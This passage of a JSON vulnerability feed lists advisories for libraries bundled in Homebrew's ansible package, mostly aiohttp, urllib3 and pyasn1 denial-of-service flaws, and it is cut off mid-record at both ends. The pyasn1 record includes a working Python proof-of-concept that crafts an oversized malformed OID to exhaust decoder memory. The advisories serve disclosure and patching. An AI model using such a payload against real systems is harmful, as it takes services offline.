https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jm3w-gw2p-xjfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128124"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13943"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13945"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/766b882820da0651c84090e366a3b024b4a263c9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-128125","published":"2026-11-17T08:41:03Z","modified":"2026-11-17T08:41:03Z","upstream":["GHSA-5pv8-vvhc-h7jv","CVE-2026-128125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded cookie storage in client CookieJar","details":"### Summary\n\n`Set-Cookie` parsing created additional cookies from unrecognised `name=value` attributes, and `CookieJar` had no limit on the number of cookies stored or sent. A server could make the client store a very large number of cookies and generate very large `Cookie` headers.\n\n### Impact\n\nA malicious server could cause excessive memory and CPU use in a client, repeated on every redirect, and cause later requests to the same domain to build an excessively large `Cookie` header.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5pv8-vvhc-h7jv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128125"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13930"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13942"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b1f6c87b2bd3bd80f2b6c22ff46e11d00921e412"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-128126","published":"2026-11-17T08:41:03Z","modified":"2026-11-17T08:41:03Z","upstream":["GHSA-xgw8-8ccx-rmqh","CVE-2026-128126"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Too many URL-encoded form fields block the event loop","details":"### Summary\n\n`Request.post()` had no limit on the number of fields in a URL-encoded form body. Inserting a large number of repeated keys into a `MultiDict` took quadratic time on the event loop.\n\n### Impact\n\nAn attacker could block the event loop with a form POST within the default `client_max_size` to any handler that calls `Request.post()`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xgw8-8ccx-rmqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128126"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13738"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13741"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8b0100572936df28977b9de8a6cc7e464c0b521e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-128127","published":"2026-11-17T08:41:03Z","modified":"2026-11-17T08:41:03Z","upstream":["GHSA-24c4-3p7v-29cm","CVE-2026-128127"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Base64 multipart parts bypass client_max_size","details":"### Summary\n\nWhen reading a multipart part with `Content-Transfer-Encoding: base64`, `BodyPartReader.read_chunk()` kept reading until the chunk length was a multiple of 4, with no byte limit. A part with a short `Content-Length`, or a long run of whitespace, could cause the entire remaining body to be read into memory within a single call before any size check, or spin on the event loop.\n\n### Impact\n\nAn attacker could bypass `client_max_size` to cause excessive memory use, or block the event loop, with a specially crafted multipart request to any handler that reads multipart data.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-24c4-3p7v-29cm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128127"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13509"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d9c5c1062eff0034fb3ab120897a6c1b3ff7041"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-128128","published":"2026-11-17T08:41:03Z","modified":"2026-11-17T08:41:03Z","upstream":["GHSA-3rp8-rxj8-mvjw","CVE-2026-128128"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket max_msg_size bypass via integer overflow","details":"### Summary\n\nThe `max_msg_size` check in the WebSocket reader added the declared frame length to the size of the partial message already buffered. In the C extension this addition is 64-bit arithmetic, so a declared length close to 2**63 overflowed and the check passed.\n\n### Impact\n\nAn attacker could bypass `max_msg_size` and cause unbounded memory use by streaming an oversized WebSocket message after a small non-final fragment.\n\n### Workaround\n\nIf unable to upgrade, the Python reader is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3rp8-rxj8-mvjw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128128"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13415"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13494"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8c8906a19f64e52ef6a7d44d65217eb3c5af413f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-128129","published":"2026-11-17T08:41:03Z","modified":"2026-11-17T08:41:03Z","upstream":["GHSA-pw86-h8fm-j323","CVE-2026-128129"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded buffering of data received during an upgrade request","details":"### Summary\n\nWhile a request flagged as an upgrade (e.g. a WebSocket handshake) was being handled, all further data received on the connection was buffered with no size limit or flow control until the handler completed.\n\n### Impact\n\nAn attacker could cause unbounded memory use by streaming data behind an upgrade request to any handler that does not immediately accept or reject the upgrade.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pw86-h8fm-j323"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128129"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13501"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13511"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c207cadb257e0959b192ffca0548eca8c71eb96a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-128130","published":"2026-11-17T08:41:03Z","modified":"2026-11-17T16:59:42Z","upstream":["GHSA-28qf-cpwq-vmc2","CVE-2026-128130"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0_1"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request replay and buffer growth behind a declined upgrade","details":"### Summary\n\nWhen the pipelined request queue was full, the pure-Python parser stored the unparsed remainder internally and also returned it to the caller. After a handler declined an upgrade request, the buffered data was re-fed, so the buffer grew with each handled request and already-handled requests were dispatched to the application again.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), an attacker could cause excessive memory use and cause pipelined requests to be processed more than once.\n\n### Workaround\n\nSwitch to the default C parser.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-28qf-cpwq-vmc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128130"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13356"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13360"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/72eaa429cf89b1e20212590f3e704444239569fb"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-128131","published":"2026-11-17T08:41:03Z","modified":"2026-11-17T08:41:03Z","upstream":["GHSA-h4cc-hm5h-fmm9","CVE-2026-128131"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Concatenated compressed streams cause excessive CPU use","details":"### Summary\n\nWhen decompressing a payload made up of many concatenated compressed members (gzip, deflate or zstd), each member was decoded by passing the entire remaining input to a new decompressor, resulting in quadratic CPU time. Empty members produce no output, so `client_max_size` and output backpressure did not limit the work.\n\n### Impact\n\nAn attacker could block the event loop of a server with a specially crafted compressed request body or WebSocket message. A malicious server could do the same to a client.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-h4cc-hm5h-fmm9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128131"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13362"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13391"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d041d4d0fd48c3f0832084d33be16cf1c4835f85"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-128132","published":"2026-11-17T08:41:03Z","modified":"2026-11-17T08:41:03Z","upstream":["GHSA-5rmc-48h2-hvcm","CVE-2026-128132"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket receive queue limits bypassed by small or compressed messages","details":"### Summary\n\nThe WebSocket reader continued parsing frames already received after the receive queue had paused the transport, and empty messages were not counted towards the queue size. With permessage-deflate, a single read of compressed frames could add many megabytes of decompressed messages to the queue.\n\n### Impact\n\nAn attacker could cause excessive memory use in a WebSocket server, or a malicious server against a client, by sending many small or compressed messages faster than the application consumes them.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5rmc-48h2-hvcm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128132"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13393"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13545"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13546"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5e54037933fa8422be5fa8a2002d118ed2d4e5e0"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b62321b6fa264a89f4aca084ad60fc38a59ffa51"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-21441","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:06Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.2.0"},{"fixed":"13.2.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-22815","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-w2fm-2cpv-w7v5","CVE-2026-22815","PYSEC-2026-2094"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp allows unlimited trailer headers, leading to possible uncapped memory usage","details":"### Summary\n\nInsufficient restrictions in header/trailer handling could cause uncapped memory usage.\n\n### Impact\n\nAn application could cause memory exhaustion when receiving an attacker controlled request or response. A vulnerable web application could mitigate these risks with a typical reverse proxy configuration.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-w2fm-2cpv-w7v5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22815"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-23490","published":"2026-08-13T16:35:22Z","modified":"2026-10-31T18:52:28Z","upstream":["GHSA-63vm-454h-vhhq","CVE-2026-23490","PYSEC-2026-1810"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.4.0_1"},{"fixed":"13.2.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.2","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.5","key":"pkg:pypi/pyasn1@0.6.5","resource":"pyasn1"}]},"summary":"pyasn1 has a DoS vulnerability in decoder","details":"### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n    length_bytes = bytes([length])\nelif length < 256:\n    length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n    length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n    length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f'[+] Decoded successfully')\n    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n    # Try to convert to string\n    print('[*] Converting to string...')\n    try:\n        str_result = str(result[0])\n        print(f'[+] String succeeded: {len(str_result)} chars')\n        if len(str_result) > 10000:\n            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n    except MemoryError:\n        print(f'[-] MemoryError during string conversion!')\n    except Exception as e:\n        print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n    print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n    print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n<img width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" />\n\n<img width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" />\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 